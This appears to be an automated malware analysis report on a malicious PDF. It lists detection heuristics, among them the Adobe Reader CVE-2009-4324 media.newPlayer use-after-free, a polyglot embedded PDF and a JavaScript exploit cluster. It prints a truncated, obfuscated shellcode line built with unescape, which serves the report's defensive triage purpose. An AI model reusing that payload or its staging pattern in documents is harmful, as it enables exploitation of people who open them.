Malicious PDF — malware analysis report

Heuristics 9

• media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
  PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
• ClamAV: Pdf.Exploit.Agent-30327 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Pdf.Exploit.Agent-30327
• Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
  A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
• JavaScript action low 2 related findings PDF_JAVASCRIPT
  PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
• PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
  PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  Matched line in script

  var sc =  unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Ze0ec%Z29de%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z2602%Z4207%Zdee0%Z55ee%Zdee4%Zecee%Zbabf%Zdc4f%Zdee0%Z67ee%Zd2a0%Z9c65%Z73fc%Z8465%Z8fe8%Z9965%Z55dc%Zc29a%Zdd98%Zba1b%Za86b%Zefce%Zed15%Za527%Z73a1%Z29ed%Z05d3%Z52e1%Ze6f0%Z981c%Z1fe8%Ze125%Z04e3%Z07ae%Ze511%Z99f1%Z8007%Zb265%Zddc4%Z8a33%Zd26b%Z67a5%Zc2be%Z31ed%Zda6b%Zef65%Z7525%Z0eb7%Zed5c%Z6f35%Zda23%Zec84%Z21b3%Z10b9%Zd9db%Z1f9b%Z8169%Z7512%Z8cb2%Z9b11%Z21e4%Z1099%Z891f%Z7516%Z9e8a%Zec86%Zdef0%Z13ee% …

• Embedded JS stream low PDF_JS
  PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
• Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
  One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
• Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
  The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://www.monotype.comhttp://www.monotype.com/html/type/license.html Referenced by PDF JavaScript

  • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
  • http://ns.adobe.com/xap/1.0/In PDF document text
  • http://purl.org/dc/elements/1.1/In PDF document text
  • http://ns.adobe.com/xap/1.0/mm/In PDF document text
  • http://ns.adobe.com/pdf/1.3/In PDF document text
  • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONReferenced by PDF JavaScript

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